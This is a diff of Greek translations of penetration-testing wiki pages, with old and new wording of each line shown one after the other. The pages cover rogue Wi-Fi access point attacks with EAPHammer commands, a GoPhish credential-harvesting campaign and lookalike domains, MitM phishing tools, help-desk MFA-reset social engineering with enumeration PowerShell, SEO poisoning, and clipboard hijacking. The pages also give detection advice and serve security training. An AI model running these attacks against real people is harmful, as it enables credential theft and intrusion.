2. **Μαύρη Λίστα βάσει MAC**:
- Το κακόβουλο AP θα αγνοεί τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
- Το κακόβουλο AP θα αγνοήσει τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
3. **Λευκή Λίστα βάσει SSID**:
- Το κακόβουλο AP θα απαντά σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που είναι καταχωρημένα, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
- Το κακόβουλο AP θα απαντήσει σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
4. **Μαύρη Λίστα βάσει SSID**:
- Το κακόβουλο AP δεν θα απαντά σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
- Το κακόβουλο AP δεν θα απαντήσει σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -626,7 +627,7 @@ name3
```
### KARMA
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παραπλανεί τις συσκευές να συνδεθούν στο AP ενός επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
### MANA
@ -638,21 +639,21 @@ name3
```
### Loud MANA
Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για όταν οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται κάποια ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP).
Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για περιπτώσεις που οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.
Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** παρουσιάζει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.
Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα φορτώνονται (μπορείτε επίσης να το συνδυάσετε με `--loud` για να δημιουργήσετε μια Loud MANA + Known beacons attack):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Επίθεση Γνωστού Beacon Burst**
**Γνωστή επίθεση Beacon Burst**
Η **επίθεση Γνωστού Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν στο κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
Η **Γνωστή επίθεση Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν στο κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \

View File

@ -14,7 +14,7 @@
3. Ρυθμίστε το VPS με **gophish**
3. Prepare the campaign
1. Ετοιμάστε το **email template**
2. Ετοιμάστε τη **σελίδα web** για να κλέψετε τα διαπιστευτήρια
2. Ετοιμάστε την **ιστοσελίδα** για να κλέψετε τα διαπιστευτήρια
4. Εκκινήστε την καμπάνια!
## Generate similar domain names or buy a trusted domain
@ -24,12 +24,12 @@
- **Keyword**: Το domain name **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού domain (π.χ., zelster.com-management.com).
- **hypened subdomain**: Αλλάξτε την **τελεία σε παύλα** ενός υποτομέα (π.χ., www-zelster.com).
- **New TLD**: Ίδιο domain χρησιμοποιώντας ένα **νέο TLD** (π.χ., zelster.org)
- **Homoglyph**: Αντικαθιστά ένα γράμμα στο domain name με **γράμματα που μοιάζουν** (π.χ., zelfser.com).
- **Homoglyph**: **Αντικαθιστά** ένα γράμμα στο domain name με **γράμματα που μοιάζουν** (π.χ., zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** Ανταλλάσσει **δύο γράμματα** μέσα στο domain name (π.χ., zelsetr.com).
- **Transposition:** **Ανταλλάσσει δύο γράμματα** μέσα στο domain name (π.χ., zelsetr.com).
- **Singularization/Pluralization**: Προσθέτει ή αφαιρεί “s” στο τέλος του domain name (π.χ., zeltsers.com).
- **Omission**: **Αφαιρεί ένα** από τα γράμματα του domain name (π.χ., zelser.com).
- **Repetition:** **Επαναλαμβάνει ένα** από τα γράμματα στο domain name (π.χ., zeltsser.com).
@ -51,9 +51,9 @@ homograph-attacks.md
### Bitflipping
Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή επικοινωνούνται μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκρήξεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή επικοινωνούνται μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Όταν αυτή η έννοια είναι **εφαρμοσμένη σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά.
Όταν αυτή η έννοια **εφαρμόζεται σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά.
Για παράδειγμα, μια μόνο τροποποίηση bit στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com."
@ -77,7 +77,7 @@ homograph-attacks.md
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή **να επιβεβαιώσετε αυτές που** έχετε ήδη ανακαλύψει μπορείτε να ελέγξετε αν μπορείτε να κάνετε brute-force στους smtp servers του θύματος. [Μάθετε πώς να επιβεβαιώσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή **να επαληθεύσετε αυτές** που έχετε ήδη ανακαλύψει μπορείτε να ελέγξετε αν μπορείτε να κάνετε brute-force στους smtp servers του θύματος. [Μάθετε πώς να επαληθεύσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Επιπλέον, μην ξεχνάτε ότι αν οι χρήστες χρησιμοποιούν **οποιαδήποτε διαδικτυακή πύλη για να αποκτήσουν πρόσβαση στα emails τους**, μπορείτε να ελέγξετε αν είναι ευάλωτη σε **brute force ονόματος χρήστη**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατόν.
## Configuring GoPhish
@ -87,7 +87,7 @@ homograph-attacks.md
Μπορείτε να το κατεβάσετε από [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Κατεβάστε και αποσυμπιέστε το μέσα στο `/opt/gophish` και εκτελέστε το `/opt/gophish/gophish`\
Θα σας δοθεί ένας κωδικός για τον διαχειριστή στη θύρα 3333 στην έξοδο. Επομένως, αποκτήστε πρόσβαση σε αυτή τη θύρα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό διαχειριστή. Ίσως χρειαστεί να στείλετε αυτή τη θύρα τοπικά:
Θα σας δοθεί ένας κωδικός πρόσβασης για τον διαχειριστή στη θύρα 3333 στην έξοδο. Επομένως, αποκτήστε πρόσβαση σε αυτή τη θύρα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό πρόσβασης του διαχειριστή. Ίσως χρειαστεί να στείλετε αυτή τη θύρα τοπικά:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -95,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Ρύθμιση πιστοποιητικού TLS**
Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που πρόκειται να χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**.
Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που θα χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -111,7 +111,7 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Διαμόρφωση ταχυδρομείου**
**Ρύθμιση ταχυδρομείου**
Αρχίστε την εγκατάσταση: `apt-get install postfix`
@ -243,7 +243,7 @@ service gophish stop
![](<../../images/image (1037).png>)
Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα:
Αυτή είναι η περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
@ -354,7 +354,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
- Γράψτε ένα **όνομα**
- **Γράψτε τον HTML κώδικα** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **εισάγετε** ιστοσελίδες.
- Επιλέξτε **Capture Submitted Data** και **Capture Passwords**
- Επισημάνετε **Capture Submitted Data** και **Capture Passwords**
- Ορίστε μια **ανακατεύθυνση**
![](<../../images/image (826).png>)
@ -369,7 +369,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
### Users & Groups
- Ορίστε ένα όνομα
- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το template για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη)
- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το πρότυπο για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη)
![](<../../images/image (163).png>)
@ -382,13 +382,13 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
![](<../../images/image (192).png>)
> [!TIP]
> Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min mails** για να αποφύγετε να μπείτε σε μαύρη λίστα κατά τη διάρκεια των δοκιμών.
> Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min mails** για να αποφύγετε να μπείτε σε μαύρη λίστα κάνοντας δοκιμές.
Μόλις είναι όλα έτοιμα, απλά ξεκινήστε την καμπάνια!
Μόλις είναι όλα έτοιμα, απλά εκκινήστε την καμπάνια!
## Website Cloning
Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε την ιστοσελίδα, ελέγξτε την παρακάτω σελίδα:
Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε την ιστοσελίδα ελέγξτε την παρακάτω σελίδα:
{{#ref}}
clone-a-website.md
@ -407,26 +407,26 @@ phishing-documents.md
### Via Proxy MitM
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν έχει βάλει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**.
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν εισάγει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**.
Εδώ είναι που εργαλεία όπως [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena) είναι χρήσιμα. Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια επίθεση τύπου MitM. Βασικά, οι επιθέσεις λειτουργούν ως εξής:
1. Εσείς **προσποιείστε τη φόρμα σύνδεσης** της πραγματικής ιστοσελίδας.
2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο τα στέλνει στην πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**.
3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει**, το εργαλείο θα το στείλει στην πραγματική ιστοσελίδα.
4. Μόλις ο χρήστης είναι αυθεντικοποιημένος, εσείς (ως επιτιθέμενος) θα έχετε **συλλάβει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM.
2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο στέλνει αυτά στη πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**.
3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει** το εργαλείο θα το στείλει στη πραγματική ιστοσελίδα.
4. Μόλις ο χρήστης είναι αυθεντικοποιημένος εσείς (ως επιτιθέμενος) θα έχετε **συλλάβει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM.
### Via VNC
Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** που μοιάζει με την αρχική, το στείλετε σε μια **VNC συνεδρία με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\
Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** με την ίδια εμφάνιση όπως η αρχική, το στείλετε σε μια **VNC συνεδρία με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\
Μπορείτε να το κάνετε αυτό με [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
Προφανώς, ένας από τους καλύτερους τρόπους για να ξέρετε αν έχετε εντοπιστεί είναι να **αναζητήσετε το domain σας μέσα σε μαύρες λίστες**. Αν εμφανίζεται καταχωρημένο, με κάποιο τρόπο το domain σας εντοπίστηκε ως ύποπτο.\
Προφανώς ένας από τους καλύτερους τρόπους για να ξέρετε αν έχετε ανακαλυφθεί είναι να **αναζητήσετε το domain σας μέσα σε μαύρες λίστες**. Αν εμφανίζεται καταχωρημένο, με κάποιο τρόπο το domain σας ανιχνεύθηκε ως ύποπτο.\
Ένας εύκολος τρόπος για να ελέγξετε αν το domain σας εμφανίζεται σε οποιαδήποτε μαύρη λίστα είναι να χρησιμοποιήσετε [https://malwareworld.com/](https://malwareworld.com)
Ωστόσο, υπάρχουν και άλλοι τρόποι για να ξέρετε αν το θύμα **αναζητά ενεργά ύποπτη phishing δραστηριότητα στον κόσμο** όπως εξηγείται σε:
Ωστόσο, υπάρχουν και άλλοι τρόποι για να ξέρετε αν το θύμα είναι **ενεργά σε αναζήτηση ύποπτης phishing δραστηριότητας στον κόσμο** όπως εξηγείται σε:
{{#ref}}
detecting-phising.md
@ -440,7 +440,7 @@ detecting-phising.md
## High-Touch Identity Compromise (Help-Desk MFA Reset)
Οι σύγχρονες επιθέσεις παρακάμπτουν ολοένα και περισσότερο τις παγίδες email και **στοχεύουν άμεσα τη διαδικασία service-desk / identity-recovery** για να παρακάμψουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο χειριστής αποκτήσει έγκυρα διαπιστευτήρια, προχωρά με τα ενσωματωμένα εργαλεία διαχείρισης δεν απαιτείται κακόβουλο λογισμικό.
Οι σύγχρονες επιθέσεις παρακάμπτουν ολοένα και περισσότερο τις παγίδες email και **στοχεύουν άμεσα τη διαδικασία service-desk / identity-recovery** για να νικήσουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο χειριστής αποκτήσει έγκυρα διαπιστευτήρια, προχωρά με τα ενσωματωμένα εργαλεία διαχείρισης δεν απαιτείται κακόβουλο λογισμικό.
### Attack flow
1. Recon the victim
@ -452,7 +452,7 @@ detecting-phising.md
* Πείστε τον πράκτορα να **επαναφέρει το μυστικό MFA** ή να εκτελέσει μια **SIM-swap** σε έναν καταχωρημένο αριθμό κινητού.
3. Άμεσες ενέργειες μετά την πρόσβαση (≤60 λεπτά σε πραγματικές περιπτώσεις)
* Δημιουργήστε μια βάση μέσω οποιασδήποτε πύλης SSO ιστού.
* Καταγράψτε AD / AzureAD με ενσωματωμένα (χωρίς να ρίξετε δυαδικά αρχεία):
* Καταγράψτε το AD / AzureAD με ενσωματωμένα (χωρίς να ρίξετε δυαδικά αρχεία):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -463,7 +463,7 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Πλευρική κίνηση με **WMI**, **PsExec**, ή νόμιμους **RMM** πράκτορες που είναι ήδη λευκοί στη λίστα στο περιβάλλον.
* Κινήσεις πλευράς με **WMI**, **PsExec**, ή νόμιμους **RMM** πράκτορες που είναι ήδη λευκοί στη λίστα στο περιβάλλον.
### Detection & Mitigation
* Αντιμετωπίστε την ανάκτηση ταυτότητας help-desk ως **προνομιακή λειτουργία** απαιτήστε step-up auth & έγκριση διευθυντή.
@ -471,12 +471,12 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
* Μέθοδος MFA που άλλαξε + αυθεντικοποίηση από νέα συσκευή / γεωγραφία.
* Άμεση αναβάθμιση του ίδιου προσώπου (χρήστης-→-διαχειριστής).
* Καταγράψτε τις κλήσεις help-desk και επιβάλετε μια **επιστροφή κλήσης σε ήδη καταχωρημένο αριθμό** πριν από οποιαδήποτε επαναφορά.
* Εφαρμόστε **Just-In-Time (JIT) / Privileged Access** ώστε οι νεοεπαναρυθμισμένοι λογαριασμοί να **μην** κληρονομούν αυτόματα υψηλής προνομιακής πρόσβασης tokens.
* Εφαρμόστε **Just-In-Time (JIT) / Privileged Access** ώστε οι νεοεπαναρυθμισμένοι λογαριασμοί να **μην** κληρονομούν αυτόματα υψηλά προνόμια.
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Οι ομάδες εμπορικών επιθέσεων αντισταθμίζουν το κόστος των υψηλών επαφών με μαζικές επιθέσεις που μετατρέπουν **τις μηχανές αναζήτησης & τα δίκτυα διαφημίσεων σε κανάλι παράδοσης**.
Οι ομάδες εμπορευμάτων αντισταθμίζουν το κόστος των υψηλών επαφών με μαζικές επιθέσεις που μετατρέπουν **τις μηχανές αναζήτησης & τα δίκτυα διαφημίσεων σε κανάλι παράδοσης**.
1. **SEO poisoning / malvertising** προωθεί ένα ψεύτικο αποτέλεσμα όπως το `chromium-update[.]site` στην κορυφή των διαφημίσεων αναζήτησης.
2. Το θύμα κατεβάζει έναν μικρό **loader πρώτης φάσης** (συχνά JS/HTA/ISO). Παραδείγματα που είδαν οι Unit 42:
@ -496,7 +496,7 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* Κυνηγήστε για LOLBins που συχνά κακοποιούνται από loaders πρώτης φάσης (π.χ. `regsvr32`, `curl`, `mshta`).
* Κυνηγήστε LOLBins που συχνά κακοποιούνται από loaders πρώτης φάσης (π.χ. `regsvr32`, `curl`, `mshta`).
---
@ -505,14 +505,14 @@ and child_image: *\\*.exe
| Layer | Example use by threat actor |
|-------|-----------------------------|
|Automation|Δημιουργία & αποστολή >100 k emails / SMS με τυχαία διατύπωση & συνδέσμους παρακολούθησης.|
|Generative AI|Παραγωγή *one-off* emails που αναφέρονται σε δημόσιες M&A, εσωτερικά αστεία από τα κοινωνικά μέσα; βαθιά ψεύτικη φωνή CEO σε απάτη επιστροφής κλήσης.|
|Agentic AI|Αυτονομία στην καταχώρηση domains, συλλογή ανοιχτών πηγών πληροφοριών, δημιουργία επόμενης φάσης emails όταν ένα θύμα κάνει κλικ αλλά δεν υποβάλλει διαπιστευτήρια.|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
**Άμυνα:**
**Defence:**
• Προσθέστε **δυναμικές διαφημίσεις** που επισημαίνουν μηνύματα που αποστέλλονται από μη αξιόπιστη αυτοματοποίηση (μέσω ανωμαλιών ARC/DKIM).
• Αναπτύξτε **φωνητικές προκλήσεις βιομετρικών φράσεων** για αιτήματα τηλεφώνου υψηλού κινδύνου.
• Συνεχώς προσομοιώστε AI-generated παγίδες σε προγράμματα ευαισθητοποίησης στατικά templates είναι παρωχημένα.
• Συνεχώς προσομοιώστε AI-generated παγίδες σε προγράμματα ευαισθητοποίησης στατικά πρότυπα είναι παρωχημένα.
---
@ -527,7 +527,7 @@ and child_image: *\\*.exe
## Clipboard Hijacking / Pastejacking
Οι επιτιθέμενοι μπορούν σιωπηλά να αντιγράψουν κακόβουλες εντολές στο πρόχειρο του θύματος από μια συμβιβασμένη ή typosquatted ιστοσελίδα και στη συνέχεια να παρασύρουν τον χρήστη να τις επικολλήσει μέσα σε **Win + R**, **Win + X** ή ένα παράθυρο τερματικού, εκτελώντας αυθαίρετο κώδικα χωρίς καμία λήψη ή συνημμένο.
Οι επιτιθέμενοι μπορούν σιωπηλά να αντιγράψουν κακόβουλες εντολές στο πρόχειρο του θύματος από μια συμβιβασμένη ή typosquatted ιστοσελίδα και στη συνέχεια να παραπλανήσουν τον χρήστη να τις επικολλήσει μέσα σε **Win + R**, **Win + X** ή ένα παράθυρο τερματικού, εκτελώντας αυθαίρετο κώδικα χωρίς καμία λήψη ή συνημμένο.
{{#ref}}
clipboard-hijacking.md

View File

@ -6,7 +6,7 @@
## Overview
Clipboard hijacking επίσης γνωστό ως *pastejacking* εκμεταλλεύεται το γεγονός ότι οι χρήστες συνήθως αντιγράφουν και επικολλούν εντολές χωρίς να τις ελέγχουν. Μια κακόβουλη ιστοσελίδα (ή οποιοδήποτε περιβάλλον που υποστηρίζει JavaScript, όπως μια εφαρμογή Electron ή Desktop) τοποθετεί προγραμματισμένα κείμενο ελεγχόμενο από τον επιτιθέμενο στο σύστημα clipboard. Τα θύματα ενθαρρύνονται, συνήθως μέσω προσεκτικά σχεδιασμένων οδηγιών κοινωνικής μηχανικής, να πατήσουν **Win + R** (διάλογος Εκτέλεσης), **Win + X** (Γρήγορη Πρόσβαση / PowerShell), ή να ανοίξουν ένα τερματικό και να *επικολλήσουν* το περιεχόμενο του clipboard, εκτελώντας αμέσως αυθαίρετες εντολές.
Clipboard hijacking επίσης γνωστό ως *pastejacking* εκμεταλλεύεται το γεγονός ότι οι χρήστες συνήθως αντιγράφουν και επικολλούν εντολές χωρίς να τις ελέγχουν. Μια κακόβουλη ιστοσελίδα (ή οποιοδήποτε περιβάλλον που υποστηρίζει JavaScript, όπως μια εφαρμογή Electron ή Desktop) τοποθετεί προγραμματισμένα κείμενο ελεγχόμενο από τον επιτιθέμενο στο σύστημα clipboard. Τα θύματα ενθαρρύνονται, συνήθως μέσω προσεκτικά σχεδιασμένων οδηγιών κοινωνικής μηχανικής, να πατήσουν **Win + R** (παράθυρο εκτέλεσης), **Win + X** (Γρήγορη Πρόσβαση / PowerShell), ή να ανοίξουν ένα τερματικό και να *επικολλήσουν* το περιεχόμενο του clipboard, εκτελώντας αμέσως αυθαίρετες εντολές.
